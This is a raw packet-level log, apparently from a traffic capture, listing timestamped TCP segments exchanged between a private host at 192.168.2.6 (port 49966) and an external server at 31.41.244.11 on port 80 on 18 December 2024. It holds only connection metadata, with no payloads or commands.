Dec 18, 2024 11:09:46.302512884 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.302535057 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.303409100 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.303461075 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.303466082 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.303507090 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.304610968 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.304658890 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.304922104 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.304976940 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.305989981 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.306127071 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.307424068 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.307459116 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.307495117 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.307513952 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.307544947 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.309587002 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.309622049 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.309648991 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.309654951 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.309670925 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.309689045 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.309698105 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.309732914 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.311431885 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.311466932 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.311485052 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.311500072 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.313743114 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.313776970 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.313808918 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.313812971 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.313823938 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.313894987 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.314059973 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.314229965 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.314713955 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.314762115 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.315080881 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.315124989 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.319505930 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.319555044 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.435213089 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.435261011 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.435297012 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.435338974 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.435539961 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.435575962 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.435605049 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.435622931 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.436275959 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.436357021 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.436650991 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.436708927 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.437378883 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.437434912 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.437510967 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.437561989 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.438445091 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.438498974 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.439197063 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.439259052 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.439450979 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.439486027 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.439502954 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.439528942 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.441454887 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.441488981 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.441507101 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.441524982 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.441525936 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.441561937 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.441562891 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.441597939 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.443538904 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.443573952 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.443608999 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.443620920 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.443662882 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.444504976 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.444549084 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.444562912 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.444602966 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.444605112 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.444639921 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.447405100 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.447451115 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.447475910 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.447488070 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.447515011 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.447539091 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.447577000 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.447623968 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.447863102 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.447875023 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.447921038 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.448599100 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.448631048 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.448641062 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.448668003 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.450794935 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.450807095 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.450819016 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.450830936 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.450849056 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.450880051 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.453491926 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.453499079 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.453500986 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.453514099 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.453562975 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.454638958 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.454648972 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.454678059 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.454700947 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.455363035 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.455374002 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.455411911 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.456975937 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.457009077 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.457036972 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.457042933 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.457056999 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.457077980 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.457086086 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.457214117 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.459408998 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.459460020 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.459460974 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.459498882 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.459508896 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.459544897 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.460618973 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.460706949 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.460717916 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.460753918 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.460800886 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.461592913 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.461627960 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.461647987 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.461671114 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.462626934 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.462661028 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.462722063 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.463479042 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.463552952 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.463778019 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.463830948 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.464307070 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.464420080 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.464515924 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.464570999 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.465214968 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.465264082 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.465363979 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.465424061 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.466145039 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.466259003 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.466351986 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.466396093 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.467221975 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.467278004 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.467369080 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.467417955 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.468338013 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.468372107 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.468410969 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.468422890 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.469274998 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.470045090 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.470104933 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.470371008 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.470582962 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.470921993 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.470976114 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.471507072 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.471584082 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.471659899 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.471709013 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.472417116 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.472465038 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.472477913 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.472513914 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.473377943 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.473429918 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.473686934 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.473743916 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.474591970 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.474631071 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.474646091 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.474674940 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.475397110 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.475447893 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.475559950 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.475605011 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.478110075 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.478144884 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.478168011 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.478180885 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.478189945 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.478215933 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.478221893 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.478255033 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.479401112 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.479454041 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.479456902 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.479496956 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.479521036 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.479573011 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.480707884 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.480741978 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.480788946 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.480789900 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.480832100 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.481739044 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.481842995 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.483403921 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.483438015 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.483453035 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.483472109 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.483477116 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.483589888 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.483849049 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.483891010 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.484425068 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.484476089 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.484947920 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.484982014 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.485004902 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.485021114 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.486094952 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.486145020 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.486637115 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.486684084 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.487139940 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.487188101 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.487508059 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.487559080 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.487946987 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.487973928 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.487999916 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.488018990 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.488735914 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.488800049 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.625894070 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.625972986 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.627413988 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.627454996 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.627495050 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.627511024 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.627549887 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.627548933 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.627629995 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.628521919 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.628556013 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.628577948 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.628593922 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.628603935 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.628684998 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.630387068 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.630424023 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.630439043 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.630471945 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.630506992 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.630542040 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.630558968 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.630585909 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.631534100 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.631583929 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.632879972 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.632915974 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.632951975 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.632963896 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.632998943 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.633043051 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.633548975 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.633636951 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.634669065 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.634705067 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.634742022 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.634762049 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.634793997 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.636061907 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.636121988 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.636811972 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.636847019 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.636882067 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.636883020 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.636898041 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.636972904 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.637826920 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.637862921 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.637876034 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.637911081 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.638878107 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.638958931 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.639389038 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.639440060 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.640764952 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.640799999 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.640815973 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.640836954 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.640851021 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.640886068 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.642803907 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.642838955 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.642863989 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.642874956 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.642887115 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.642913103 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.642951965 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.642970085 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.643395901 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.643472910 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.644324064 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.644360065 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.644404888 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.645401001 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.645436049 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.645457029 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.645482063 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.646444082 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.646478891 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.646524906 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.647408962 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.647463083 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.647485971 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.647501945 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.648969889 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.649005890 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.649024963 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.649041891 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.649050951 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.649076939 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.651060104 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.651094913 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.651114941 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.651129961 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.651139021 CET	49966	80	192.168.2.6	31.41.244.11
